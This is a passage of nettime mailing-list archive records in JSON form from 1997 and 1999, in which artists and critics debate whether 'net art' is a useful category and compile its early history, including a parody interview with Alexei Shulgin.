                "content-type": "text/plai",
                "author_name": "Sean Cubitt",
                "subject": "Re: <nettime> [net\\.]art(history|definition)"
            },
            {
                "id": "00099",
                "content": "\n\"Franz F. Feigl\" <franz {AT} feigl.com>\n          Re: <nettime> re: Tilman-RFC #1: net art history 1993 - 1996\n\nTilman Baumgaertel <tilman_baumgaertel {AT} csi.com>\n          Re: <nettime> Re: Tilman-RFC #1: net art history 1993 - 1996\n\n\"Dr. Future\" <richard {AT} dig-lgu.demon.co.uk>\n          Re: <nettime> defining net.art (was: Olia Lialina, was: \n          something or other...)\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\nDate: Tue, 14 Dec 1999 02:58:31 +0100\nFrom: \"Franz F. Feigl\" <franz {AT} feigl.com>\nSubject: Re: <nettime> re: Tilman-RFC #1: net art history 1993 - 1996\n\nDon't worry: Tilman's job 'net.art.history' won't be the last attempt \nto rewrite the past.\n\nThe first use of the the net (internet - not phones, BBS's,  a.s.o) \nfor art's sake I remember  was  Bill Gibson + ? placing something \nlike a 'self-destructing poem' on the net in summer 1992.\n(the organisation was an art-show  in San Francisco, so there might \nbe more to dig up)\n\nLot's of still familiar names are missing, from Artcom to Williams \nand even more not so familiar ones.\n\nFranz F. Feigl\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\nDate: Tue, 14 Dec 1999 01:51:20 +0100\nFrom: Tilman Baumgaertel <tilman_baumgaertel {AT} csi.com>\nSubject: Re: <nettime> Re: Tilman-RFC #1: net art history 1993 - 1996\n\nAt 00:00 14.12.99 +0100, Florian Cramer wrote:\n\n>Am Sat, 11.Dec.1999 um 18:24:31 +0100 schrieb Tilman Baumgaertel:\n>\n>> One month ago I mailed out a proposal to inform me about early net art\n>> projects. It resulted in the following list of projects and art works that\n>> happened between 1993 and 1996. Some of them were suggested to me by email,\n>> other came from my own - not very good - memory. \n>\n>I am quite surprised to see that your timeline starts as late as in 1993.\n>Again, we can argue whether \"net art\" (i.e. net art in a broader sense than\n>the particular school of \"Net.Art\") is identical with \"World Wide Web art\".\n>My opinion obviously differs.\n>\n\nWell, that comes as quite a surprise, doesn't it? \n\nYou will even be more surprised to learn that just putting the overview of\nthese four years together took one month of work. If I would be at an\nuniversity I would take a sabbatical for this kind of effort, but I am not. \n\nAs you of course know, this kind of art is very ephemeral and very\ndistributed, and it takes a long time to get this kind of stuff together.\nFor the present purpose, this list is OK, because it is for the catalog of\nan exhibtion that was triggered by the art that was created in reaction to\nthe web, mainly. But it doesn't pretend to be complete, and I put every\nimaginable effort in getting as much material as possible. And actually,\nthe reason why I make this list available to your kind of criticism, is\nbecause I want as much participation from as many people as possible. \n\nI also don't think that net work art is only on the web, so I have a much\nlonger list of other things, going back to Mail art and the fifties,\nincluding Television, Satellite, BBS, Fax, what have you events, but it is\nyet too incomplete to be published. I will continue to work on this, and\nonce I feel it is appropriate to this big topic, I will put it on the net. \n\nAnyway, thanks for your list, it is of great help. \n\nYours, \nTilman \n...................\nI think, \nand then I sink\ninto the paper \nlike I was ink.\nEric B. & Raakim: Paid in full\n\nDr. Tilman Baumgaertel, email: tilman {AT} thing.de\nMY HOMEPAGE HAS MOVED!!! http://www.thing.de/tilman\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\nDate: Sun, 12 Dec 1999 18:28:37 +0000\nFrom: \"Dr. Future\" <richard {AT} dig-lgu.demon.co.uk>\nSubject: Re: <nettime> defining net.art (was: Olia Lialina, was: \n         something or other...)\n\nmelinda rackham wrote:\n\n> >simon wrote:\n>\n>  a lot of what is called Net Art is not actually the Net but the\n> computer. This is true of much work produced for viewing in a browser, or\n> on CD-ROM, or even a lot of installation based work. Often the only\n> differences between these works are the means of distribution...\n\n<...>\n\n> if work is intended for flexible delivery over a global network with its\n> unique download rthythm its net.art, anything intended for distribution on\n> cdrom has a completely different intent, architecture and mode of\n> production.  the definition is in the intention and the expereince.  a few\n> years ago i remember asking Tiia Johansen from Estonia about why she was\n> putting up huge single images as web works, when all i was interrested in\n> was making tiny files for fast delivery, and her reply (made even more\n> dramatic by her fabulous accent) was \" i like to make them wait.\"\n>\n> For me it is that wait... the delivery space, - the gap - , the\n> possibilities contained within the gap, and the expereience of that gap\n> which are the defining characteristics of net.art.\n\nSo this suggests that the categorization of the (net.)art work is dependent\nupon the intentions of the user, whether they want to exploit the properties\nof the net as a communications system or as a distribution system or whatever.\nBut then their intentions are dependent upon the particular qualities of the\nNet that they perceive as important anyway, so we must conclude that all art\nthat is deliberately put on the net is net.art.\n\nThe challenge is then to find some art on the net which isn't net.art (isn't\nit?). Perhaps this would be art that was just accidentally put on the net, or\njust temporarily while you were thinking of where else it should go (like\nleaving things in a pile on the edge of the sofa because your shelves are full\nup and the tea's ready). Perhaps this would be called default.art.\n\n\n the fun continues...\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00099.html",
                "list": "nettime_l",
                "author_name": "nettime's_synthetic_system",
                "subject": "<nettime> [net\\.]art(history|definition) [feigl, baumgaertel, future]",
                "from": "\"nettime's_synthetic_system\" <nettime {AT} bbs.thing.net>",
                "follow-up": [
                    {
                        "from": "Terrence J Kosick <kosick {AT} sprint.ca>",
                        "content": "\nTerrence writes;\n\nThere seems many more people are involved now. That will make it all the more\nvital by bringing more minds together. How that will change and evolve remains to\nbe seen. It will be intriguing to compare and perhaps see some sort of telos of a\nshifting to a communication perhaps more theatrical and even timeless in form. I\nam looking forward to seeing the links that collapse network time from then to\nhere and now. The separation of time and distance has been too convenient\ncontrolling and thus disconcerting. History never fixed always evolving taking on\nthings from the past not to be forgotten whist they shape the future. Ah network\nbliss.\n\nT.\n\n\n\n\n> he means of distribution...\n>\n> <...>\n>\n> > if work is intended for flexible delivery over a global network with its\n> > unique download rthythm its net.art, anything intended for distribution on\n> > cdrom has a completely different intent, architecture and mode of\n> > production.  the definition is in the intention and the expereince.  a few\n> > years ago i remember asking Tiia Johansen from Estonia about why she was\n> > putting up huge single images as web works, when all i was interrested in\n> > was making tiny files for fast delivery, and her reply (made even more\n> > dramatic by her fabulous accent) was \" i like to make them wait.\"\n> >\n> > For me it is that wait... the delivery space, - the gap - , the\n> > possibilities contained within the gap, and the expereience of that gap\n> > which are the defining characteristics of net.art.\n>\n> So this suggests that the categorization of the (net.)art work is dependent\n> upon the intentions of the user, whether they want to exploit the properties\n> of the net as a communications system or as a distribution system or whatever.\n> But then their intentions are dependent upon the particular qualities of the\n> Net that they perceive as important anyway, so we must conclude that all art\n> that is deliberately put on the net is net.art.\n>\n> The challenge is then to find some art on the net which isn't net.art (isn't\n> it?). Perhaps this would be art that was just accidentally put on the net, or\n> just temporarily while you were thinking of where else it should go (like\n> leaving things in a pile on the edge of the sofa because your shelves are full\n> up and the tea's ready). Perhaps this would be called default.art.\n>\n>  the fun continues...\n>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00152",
                        "list": "nettime_l",
                        "date": "Sat, 18 Dec 1999 22:52:34 -0800",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199912201215.HAA05693 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00152.html",
                        "content-type": "text/plai",
                        "author_name": "Terrence J Kosick",
                        "subject": "Re: <nettime> [net\\.]art(history|definition) [feigl, baumgaertel, future]"
                    }
                ],
                "message-id": "199912140539.AAA07361 {AT} bbs.thing.net",
                "date": "Tue, 14 Dec 1999 00:36:19 -0500 (EST)",
                "content-type": "text/plai"
            },
            {
                "id": "00060",
                "content": "\nArt on the Net not Net-Art\n\nAfter a long  absensence (since the late eighties) it is once again a \nnormal experience to go into galleries and museums and find works in \nwhich exciting artists use video. Significantly what neither the \nartists, nor the critics have reverted to is the term \"video art\". \nArtists such as Georgina Starr or Matthew Barney may be geographically \napart but share a certain sensibility, they are also shrewd enough to \navoid of the trap of being confined within the metaphor of given medium. \nMuch of this new work is in fact revisiting the strategies of a much \nearlier generation Aconci, Abromovich/Uly etc, whose approach to video \nwas also quick and dirty. Unlike those who came next there was no \nmystification of the medium, no \"video art\" as such. It was a tool, not \nan ideology. The same is true for the recent generation who grew up with \nthe camcorder as just another household appliance, part of a continuum \nof media possibilities and almost as easy as picking up a pencil. It \nfeels very natural, and the art is better for it.\n\nThis new generation may not have been around, but they are probably \nprevented from taking the wrong direction by some residual folk memory \nof the theoretical somersaults and tedious technological formalism that \naccompanied debates about what might or might not be *real* \"video art\". \n\nIs there a lesson for us to learn from this history? Yes, I believe that \nthose of us who love the net and love art, and want to work in both \nshould learn from the past and avoid the simplistic device of marrying \nthese two terms. The term net-art (as opposed to art that happens to \nappear on the net) should be quietly ditched.\n\nDavid Garcia\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00060.html",
                "list": "nettime_l",
                "author_name": "davidg.",
                "subject": "nettime: Art on N",
                "from": "\"davidg.\" <davidg {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Alexei Shulgin <easylife {AT} glas.apc.org>",
                        "content": "\n> The term net-art (as opposed to art that happens to \n> appear on the net) should be quietly ditched.\n> \n\nno, david, it's not time yet.\nwe have to wait until:\n\n- big international net art stars (whose works and behaviour meet art\ninstitutions demands) will emerge;\n- living legends of net art will appear (poor, but accepting no\ncompromises);\n- some names will be forgotten (to be discovered in the future by net\nart historians as key figures of the beginning of the movement);\n- net art galleries, magazines, associations and museums will be\nestablished;\n- as well as net art departments at universities;\n- few net art histories (contradictory, each describing completely\ndifferent picture) will be written;\n(i think everyone can easily continue this list)\n\nonly then those few net artists who survive will be able to proudly say:\n\"yes, i am a real artist!\", denying their low roots in sake of\nprosperous present.\n\nalexei shulgin\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00066",
                        "list": "nettime_l",
                        "date": "Thu, 13 Mar 1997 13:47:53 +0300",
                        "to": "davidg {AT} xs4all.nl",
                        "message-id": "3327DB26.7321 {AT} glas.apc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00066.html",
                        "content-type": "text/plai",
                        "author_name": "Alexei Shulgin",
                        "subject": "Re: nettime: Art on N"
                    },
                    {
                        "from": "c.young {AT} rca.ac.uk (carey young)",
                        "content": "\nNet Art is Not Art???\n\nby Carey Young\n\n(A response to 'Art on the Net not Net-Art,' by David Garcia)\n\nDavid Garcia raises some useful and interesting  issues in his essay, but\nmay be a little too hasty in damning Net art with an 'ideology.' Of course,\nthe Net offers a \"tool\" for artists, but there is precious little art on\nthe Net which has any sense of the rich context in which it is situated. It\nis too early to see any sort of artistic 'ideology' appearing, let alone\ncongealing around  Net artworks. It seems to me that there is at present a\ndistict lack of art activity which  actually  exposes and explores the\nNet's possibilities, rather than employing it as a glorified catalogue, a\nfunction which may of course be categorised as useful, but hardly\nscintillating.\n\nHere and there (as I said, they are a rare species) can be found the\noccasional project which makes an active use of its location on the Net,\nwithout losing any engagement with contemporary critical debates which this\n'formalist' position might suggest. I am thinking of work which\nspecifically involves and incorporates hypertext, hyperlinks, Web-cams and\nother Web-specific devices. Not that this is overtly formal work, just work\nwhich makes an intelligent commentary on its Web-sitedness, as well as\nhaving its own artistic meanings. After all, each Net artwork is\nconstituted from an electronic and analogue fabric, a spatialised\nhypertextual 'environment,' which will always contextualise the\nviewer's/users experience of it.  To ignore this, when making a Net art\npiece, could never be defined as 'wrong', of course. It would just mean a\nlack of possible depth.\n\nThis is not, however, a call for a move back to the formal values of\nmodernism! I agree with Garcia's point that Net art could, at this early\nstage in its development, be dragged down with \" the theoretical\nsomersaults and tedious technological formalism that accompanied debates\nabout what might or might not be *real* \"video art\". \"  But what I feel  is\nmissing from this argument is the fact that Net art has  a very particular\nlocation which, we might say, offers a new location for art experience.\nArtists working with the Net have a vital role to play, in the sense of\noffering interventions into the usual experiences, expectations or\npossibilities afforded by the Net. These are still new experiences for most\npeople, and thus some definition of what 'happens' on or in the Net can be\nan engaging and meaningful aspect of contemporary Net art (and perhaps its\nfuture incarnations: in a medium which develops so fast, who is to say that\nthis condition will diminish?) In this sense, Net artworks which make\nparticular, and perhaps I should say 'conceptual' use of their Net location\nare not merely bogged down in formalist dogma, but may perhaps be\ncommenting on and engaging with their environment in a way we already\nunderstand, primed by  more traditional artforms.\n\nThe most resonant  Net artworks thus have a sensitivity to space and to\nlocation, albeit its own electronic variety,  which is traceable through\nthat grand linear sweep of 'Art History.' While it is not vital to compare\nNet art with other artforms, since it has its own powerful voice (even if\nGarcia is perhaps suggesting we do not concentrate on this) it is\ninteresting to do so in order to speculate upon what its possibilities\nmight be.  I personally feel that with many of the most interesting sites\nthere are strong links to  sculpture (1), to telematic art of the last\ntwenty years, and to land art. The most useful comparison I have found is,\nhowever,  with installation.  Michael Archer, in an recent edition of the\nBritish art magazine Art Monthly, states that \"there are grounds for saying\nthat installation is the current condition of art... (the term's)\nwidespread use demonstrates... the widespread assumption of a certain\nspatial sensibility. It is an index of how we might inhabit a space which\nis always multiple -always spaces - and of how we interact with the bodies\nand objects, both near and far, around us.\" (2)  Give or take a few word\nchanges, this could be seen to describe Net art works which inhabit the Net\nin a provocative way. Perhaps Net art as a 'genre' could operate on one\nlevel as an index of how we might inhabit and interact with electronic\nspace. And for this to work, I believe Net artworks must first have a\nstrong sense of their own electronic identity.\n\nAlthough some sites do work well as homes for an artist's non-digital work,\nwe are perhaps talking more of a Net art which explores the potential of\nthe medium in terms of of defining and then utilising a language in a\nsophisticated way.  Georgina Starr, for example, as Garcia states, is\nmaking compelling video work. But if her work appears \"natural,\"  it is\nsurely because she is employing the  specific 'language' of the camcorder.\nIt implies a rejection of aesthetics which may be seen as 'traditional' to\nboth video art and to television production, to name but two. A\nsophisticated strategy, which works so well precisely because it seems so\nnatural. It is like this, too, with the most resonant Net artworks. They\noften make use of strategies inherent to the Net's fabric, hyperlinks,\nweb-cams etc, and do so effectively because they understand that particular\nlanguage. Understanding (and perhaps defining) does not necessarily mean a\ncrass and closed statement of technological and technical possibilities. I\ndoubt many people would be interested in sites which do no more than\nannounce their own web-location. Rigor Mortis would soon set in to both\nbrain and modem.\n\nArt which 'happens to appear on the net,' as Garcia wants it, is not the\nonly way art should appear on the Net. We can keep the freshness and\napparent accessibility of Georgina Starr's work, to continue with this\nexample. It just takes sensitive, and dare I say it, intelligent use of Net\n'language' to make work which has the depth to operate illuminatingly in\nits own space.  A  sense of the Net's own fabric may perhaps not, in this\nlight, be Garcia's \"wrong direction.\" It may in fact be an essential tool\nfor the artist  to deploy: we are talking about effective commnunication,\nand for that, one must learn the lingo.\n\n-----------------------------------------------------------\n\n\n(1) An interesting and related essay, for example, is 'Sculpture in the\nExpanded Field,' Rosalind Krauss (in Hal Foster, ed., 'The Anti-Aesthetic,'\nBay Press, Seattle 1983.) Krauss' writes on the changes which sculpture, as\na genre, has undergone in the transition from pre-modernity through to\npostmodernity.  Her comments on the spatial placement of an artwork\n(sculpture in this case) in relation to its immediate surroundings can\neasily be related to Net artworks if they are seen as art 'objects' with a\nhypertxtual or spatial placement.\n\n(2) M. Archer, 'Accomodating Art,' in Art Monthly, Sept 96\n\nc.young {AT} rca.ac.uk\n\n\n\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00063",
                        "date": "Thu, 13 Mar 1997 03:47:49 +0000",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "v01550102af4d25c27373 {AT} [194.159.194.33]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00063.html",
                        "content-type": "text/plai",
                        "author_name": "carey young",
                        "subject": "Re: nettime: Art on N"
                    },
                    {
                        "from": "Olia Lialina <olialia {AT} cityline.ru>",
                        "content": "\nI.\nDavid,\nWhat means word \"ditched\"? i found several translations in english-russian dictionary, but they all explain nothing to me. i'm not very good in english and since i didnt get all sentences of  your statement i'm not ready to answer.\n\nII. \nCarye, Alexey\nI hate it. For how long time we are going to participate in destructive  discussions. \n\n\nIII.\nDavid, Alexei\nNo i dont want to  know what \"ditched\" means. i dont like to argue with all these \"should -shouldn't\" directives-forecasts.\n\nIV.\nGod, Mammy, Michael ( all not nettime subscribers)\nI'm a net artists. I'm famous net artists. I'm very good net artist. \ni can use the net to express myself, to sell my soul or to save humankind.\nmy works are net art masterpieces\n\n\nV.\nDoes anybody like the level of statement [IV]?\n i'm afraid not, but i'll send this message everytime somebody will write about net art, without analyzing works of mine or my friends, existing net artists (not all nettime subscribers).\nWhat for to offer sense and context to people who have already created it or are in the process of creation?\nIts obvious, if we want to develop the situation and understand smth the best thing we could do is to turn to personalities and their way of using net.\nafter these words i feel responsibility to do it myself first, but i still dont know exact meaning of some english words.\n\n:)\nolia\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00067",
                        "date": "Thu, 13 Mar 1997 16:25:39 +-300",
                        "to": "\"nettime-l {AT} Desk.nl\" <nettime-l {AT} Desk.nl>",
                        "message-id": "01BC2FCB.336A43C0 {AT} ppp63.cityline.ru",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00067.html",
                        "content-type": "text/plai",
                        "author_name": "Olia Lialina",
                        "subject": "RE: nettime: Art on N"
                    },
                    {
                        "from": "ax {AT} pop.thing.at (Robert Adrian)",
                        "content": "\nDavid Garcia wrote (in respect to artists' use of Video):\n\n>Much of this new work is in fact revisiting the strategies of a much\n>earlier generation Aconci, Abromovich/Uly etc, whose approach to\n>video was also quick and dirty. Unlike those who came next there was\n>no mystification of the medium, no \"video art\" as such.\n\nWell that's not altogether true ... the earliest work (Acconci, Fox,\nCampus etc.) was shot using a Portapak with limited (zero) editing\ncapability - which made it, a priori, \"quick and dirty\". The \"q & d\"\naesthetic was built right into the technology. When better systems\ncame along they scaled their work up accordingly ... or, more often,\n dropped the video medium altogether.\n\nIt should also be remembered that the introduction of video tape\ncoincided with the beginnings of the movement by artists away from\nobject/product-oriented work in the direction of performance, action\nand installation. Much of the work David is thinking of is actually\ndocumentation of performances - as in the case of Marina Abramovic\nor Gina Pane, although there are some remarkable unedited, \"pure\"\nvideo tapes from the period (providing they have been saved to better\ntape).(1)\n\nIt was only with the introduction of the Umatic system and (relatively)\nlow-priced editing equipment that something called \"Video Art\" could\nbecome possible -- at least in the institutions and \"artist-run centers\"\nthat could afford to buy and maintain the gear.\n\nAnd here is where the \"theoretical/ideological\" problems, that David\nmentions, begin (and also where the problems of so-called \"Video Art\"\ntouch on the problems of so-called \"Net-Art\"). The questions of identity\nand definition - what is \"Video Art\"? Is it like painting and belongs in\na museum ? or like TV and should be broadcast? or like a book and\nshould be viewed privately? all or none or some permuation of these?\nAnd then there is the argument about the actual \"Thing\" video:\nis it an object =\"The Tape\"? or the idea =\"The Content\"?  or the\nimage =\"The Screen\"?\n\nThese arguments may sound silly now (except that they are re-\nsurfacing in discussions about \"Net-Art\" -- or \"Art-in-the-Net\" if\nyou prefer) but they were arguments that caused broken marriages\nand the collapse of artists' collectives not so long ago. In the meantime\n\"Video-Art\" has virtually vanished, having found no niche in the \"Art\nMarket\" - and having been overtaken by several waves of newer\n(digital) technology.\n\nArtists now (as David says) simply treat video as just another\nmedium from the palette of available imaging systems. It can be\nmade to represent itself, or the TV screen or be used just as an imaging\n\"tool\" - and  can be sneaked into the sacred enclosure of the museum\n(thru the back door so to speak) in the guise of \"installation\".\n\nWhen video-art was young and full of energy there were all kinds of\nstrategies proposed, and tried, to make video artists into \"real artists\"\nand video art into \"real art\". What most of them failed (or refused)\nto take into account was that video did not fit into the art traditions of\nindustrial culture - it is impermanent, has no physical object, no\nhandwork (in the traditional sense), and has more in common with\ndance, literature, theater or music than with traditional painting\nor sculpture.\n\nWhat makes \"Video-Art\" so important (\"mystification of the medium\"\nor not) is its role in the development of the new art tradition growing\nout of the recording technologies. For instance, with video tape,\nanything on a screen can be recorded and recycled (collaged) -\ncopyright on a video tape is as absurd the copyright on a web page.\nThe \"video-artists\" had to struggle with this fact in the same way\nthat \"net-artists\" are doing now - and the \"net\" is actually a just\nhuge dispersed recording machine.\n\nAlexei's ironical polemic, in which he appears to accuse \"net-artists\"\nof dreaming of becoming (as General Idea put it in File Magazine 20\nyears ago) \"Rich, Famous, Glamourous Artists\" on the pattern of the art\ntradition of industrial (W)Europe and (N)America, has it just about\nright. If there is going to be something like \"Art-In-The-Net\" then\nit should be about connections and communication and not about objects\nand products - or art museums and galleries (and especially not\nvirtual art museums and galleries).\n\nWhy should we, as artists struggling to find ways to survive on the\ntricky edge of a new digital communications environment, be trying to\nbreath new life into the corpse of the traditional art institutions?\nFor the money, fame and glamour?\n\n\n-----\n(1) There was also the phenomenon of the \"video performance\" or\n\"video-installation\" in which live images from a video camera were\nincluded (recycled) in a kind of feedback loop into the piece via a monitor.\n(Jochen Gertz, Richard Kriesche, Dan Graham, Keith Sonnier etc.) -\nvery \"q & d\".\n\n====================================================================\n*Art should concern itself as much with behavior as it does with\nappearance* - Norman T. White\n====================================================================\nRobert Adrian\n<http://netbase.t0.or.at/~radrian/>\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00082",
                        "date": "Fri, 14 Mar 1997 19:29:09 +0200",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199703141828.TAA08830 {AT} mail.thing.at",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00082.html",
                        "content-type": "text/plai",
                        "author_name": "Robert Adrian",
                        "subject": "Re: nettime: Art on N"
                    },
                    {
                        "from": "achel {AT} irational.org (rachel baker)",
                        "content": "\n\n>>The term net-art (as opposed to art that happens to\n>>appear on the net) should be quietly ditched.\n>\n>impossible after the definitive introduction by grandmasters Cosic and\n>Shulgin in Trieste last May\n>\n>this term is a heuristic device used with a lot of irony by the operators\n>\n>the first truly machinic art form\n>\n>-a\n\nSo imagine the grandmaster Shulgin at a retrospective of his net.artworks\nafter the term has been consigned to history (say two months from now),\ntaking us through his career in an interview reminiscent of the precursor\nto truly machinic art forms - grandmaster Duchamp. See the how theissues of\nold modernist grandmasters conflate with the new.\n\n\n\"Regions which are not ruled by time and space....\"*\n\n\nEdited version of \"A Conversation with Alexei Shulgin,\" interview conducted\nby Rachel Baker, Riga, Art + Communication, November\n\n\n\n RB So here you are, Alexei, looking at the Moscow wwwarts gold medal\naward site\n\n AS Yes, and the more I look at it the more I like it. I like the links,\n the way they fall. You remember how it happened in 1996, we put the two\n concepts of found web pages and found criticism together not knowing what they\n were carrying, and bounced suggestions around for suitable sites deserving\nan\n award and that's the result! But the more I look at it the more I like the\n links:  They  have a shape. There is a symmetry in the linking, there\n is an intention there, a curious intention that I am not responsible\n for, a ready-made intention, in other words, that I respect and love.\n\n RB This was one of your most ambitious undertakings, wasn't it?\n\n AS By far the most ambitious. I worked eight months on it, and it is far\n from finished. I do not even know if it will ever be finished; Moscow\n wwwart site is always unfinished.\n\nRB There are several versions of the Entry Page to Moscow WWWarts, aren't\nthere?\n\nAS Yes, eight; these\nwere shown at the Metaforums 3 Conference in Budapest 1996\n\nRB The  critics called us an explosion in a shingle factory\n\nAS Yes. That was really a great line they put out. Now this is the BlaBla\nsite.\n As you see the design is completely arbitrary because that was the period\n when I changed completely from exhibiting art photography to exhibiting\n 'non-art' sites, with no relation to arty handiwork.\n\n\nRB Alexei, these are not the earliest works.\n\n AS No, no, no. The earliest\nis this one here - Hot Pictures, That  was done before Moscow wwwarts\ncentre in 1994.\n\nRB It is rather gallery-like, isn't it? That was the vogue.\n\n AS Yes; well, it was not just the vogue, it was the only thing\nwe knew about. It was a little advanced at the time, but when you look\nat these two sites (Bla Bla, Gold Medal) which are later, you can see photo\n- galleries were already a thing of the past.\n\n RB They are less static.\n The Moscow wwwarts Centre was for net.artists. How were you funded?\n\nAS My funder, Ars. E. Lectronica, was  very nice about it. In fact, it was\nvery difficult then, as it is now, to  become a net.artist on your own. How\ncan you expect to live? He was  a good man. He used to give all of us a\nsmall allowance, just enough for us   to live on. He was always very\nunderstanding and always helped us  out of scrapes, for a long time even\nafter we were established. And he   had  very odd ideas. He told us \"All\nright, I'm going to  give you what you\nwant, but listen: there  are 12 of you. Anything   I give you while\nI'm alive I will deduct from your inheritance.\"  So  he kept a careful\naccount of all the amounts, and when he died   these amounts had been\ndeducted from our inheritance. Not so   stupid, actually, that idea: it\nhelped us all manage,\n\n RB Well, there seems to be quite a step between Hot Pictures and the\ngold Medal award site.\n\n AS Yes, Gold Medal was two weeks later,   and it was after these that\nI decided to get away from all the influences I had been   under before.\nI wanted to live in the present, and the present then was computer\ncommunication. You see, in May 1996 net.art was new: the approach was so\ndifferent   from the previous movements that I was very much attracted\ntoward it. I became a  Net.artist and gradually came up with  Refresh.\n\n RB The Site has plenty of movement in it, net.art seemed to  be interested\nin movement.\n\nAS Yes. But don t forget there was also techno culture\nat the same time. Croatian Rave... though I didn't know about it. I was\nin my studio the Moscow wwwarts centre. I didn't  even know of the\nravers existence although at exactly the time I was designing this\nSite. Was that a coincidence or was it in the air? I don't know. But I\ndid this site with  the idea of using movement as one of the elements in\nit. The next year, I entered the  site in an exhibition.\n\n RB That was an event in the history of Net.art?\n\nAS Yes, but we only know it now, 2 months later. At the time it\ncould have been just an explosion in a shingle factory: a successful week\nor two, and    then nothing. But that was not enough for me. I went on with\nthe\nidea that, all right, I had done what I could with\nphoto-galleries but now it     was time to change. It was always the idea\nof changing, not repeating myself. I could have done ten other Hot\nPictures at that time if I had     wanted to. But the fact is I did not\nwant to. But I went on immediately to art  formula, the formula of the\nFound Art site.    I used to surf around the pages of the World Wide Web\nlooking at the countless  homepages people had constructed. They fascinated\nme so  much that I took it as a point of departure\n\n RB Well, what was different in your point of view of homepages than in\nany  normal view of a homepage? Was it a mechanical interest, is that\nit?\n\nAS Yes. The mechanical aspect of it influenced me then, or at least\nthat  was also the point of departure of a new form of technique. I\n couldn't go into the designing of new material I wanted to go back   to\na completely dry conception of art. I was beginning to appreciate  the\nvalue of accident, the importance of chance. The result was that my work\nwas  more popular with amateurs, and   among those who liked net. Art.\nThe linking, threading and self-selection was for me  the best form for\nthat dry conception of art.\n\n RB And that was the real beginning for the Refresh site. At the time\n you did this, did you have a precise idea of what was coming?\n\nAS I was already beginning to make an indefinite plan,  The WWWarts\ngold medal site was one point of departure,   and then came the BLa BLA\nsite on the side. All this was conceived, networked, and  on screen in\n1996. It was based on a dispersed, multi-dimensional chaotic view,\nmeaning incomplete knowledge of the arrangement of the  parts. It could be\nhaphazardly done or changed afterwards. It  did not have to go through\naccording to plan, so to speak.\n\n RB Well, l imagine you feel that Refresh heralded some-  thing in your\nwork, something of that break you have often told me  about.\n\nAS Yes, it\nwas really a very important moment in my life. I had   to make big\ndecisions then. The hardest was when I told myself  \"Alexei no more\nInternet conferences, go get a job.\"\n\n RB I looked for a job in order to get enough time to make projects for\nmyself.  I got a job as a technician in  London atthe Institute Of\nElectrical Engineers. It was a wonderful job be-   cause I had so many\nhours to myself.\n\nAS You mean to make projects for yourself, not merely to please other\npeople?  You know you are either a professional or not. There are two kinds\nof artists:  the artist that is integrated into society; and the other\nartist, the completely\nfreelance artist, who has no obligations.\n The artist in society has to make certain compromises to   please it;\nis that why you took the job?\n\n RB Exactly, exactly, I didn't want to depend on my art projects for a\nliving.    But, Alexei, if you speak of a disregard for the broad public\n    and say you are doing art for yourself, wouldn't you accept that as\n making art for an 'ideal' public, for a public which would appreciate  you\nif they would only make the effort?\n\n AS Yes, indeed. It is only a way of putting myself in the right\nposition  for that ideal public. The challenge is in pleasing an\nimmediate  public;You should not wait for   fifty years or a hundred years\nfor your true\npublic. The immediately present public is   the only public that\ninterests me.\n\n RB That is a rather elitist point of view. I don't think you ever felt\nthat a person was justified in living in an ivory tower and disregarding\nthe 